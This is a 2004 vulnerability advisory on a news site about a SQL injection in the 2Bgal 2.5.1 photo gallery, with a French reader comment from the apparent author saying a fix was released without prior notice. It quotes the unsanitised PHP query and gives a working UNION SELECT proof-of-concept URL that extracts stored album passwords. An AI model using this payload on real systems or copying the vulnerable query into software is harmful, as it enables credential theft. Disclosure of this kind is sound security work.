 | |
2Bgal 2.5.1 SQL injection Vulnerability Posted on Wednesday, December 22 @ 01:58:47 CET
Topic: Divers
|
2Bgal is fully customizable photo gallery.
It's seems to be vulnerable at a SQL injection.
2Bgal 2.5.1 SQL injection Vulnerability
(http://www.ben3w.com/)
22/12/2004
----------------------------------------------------------------------
Description:
----------------------------------------------------------------------
2Bgal is fully customizable photo gallery.
It's seems to be vulnerable at a SQL injection.
----------------------------------------------------------------------
Vulnerable code (disp_album.php(~53) and maybe disp_img.php)
----------------------------------------------------------------------
$chaine="SELECT nom,idpere FROM ".$tbl_alist." WHERE id=".$id_album;
$request = MYSQL_QUERY($chaine);
$nom_currentalbum = mysql_result($request,0,"nom");
$idpere_currentalbum = mysql_result($request,0,"idpere");
----------------------------------------------------------------------
Proof of concept (2Bgal with MySQL 4.x.x):
----------------------------------------------------------------------
http://www.server.com/2bgal/disp_album.php?id_album=2%20UNION%20SELECT%
20passwd%20as%20nom,%20idpere%
20FROM%20galbumlist%20LIMIT%201;
This code allow you to get password for the first album.
You can play with SQL injection code to get other passwords.
----------------------------------------------------------------------
Discovered by Romain Le Guen:
http://coding.romainl.com
contact @AT@ romainl.com
|
|
| |
| Article Rating | Average Score: 1 Votes: 1

| |
|
Re: 2Bgal 2.5.1 SQL injection Vulnerability (Score: 0) by Anonymous on Sunday, January 02 @ 23:51:38 CET | | une version corrigeant cette faille vient d'être mise en ligne aujourd'hui.
Ca aurait été bien d'en informer l'auteur du script avant de diffuser la news relative à cette faille, ou même de l'en informer tout court...
Trouver un problème dans du code open source, c'est bien. Permettre à son auteur de la corriger, c'est encore mieux
Ben
|
|
|
|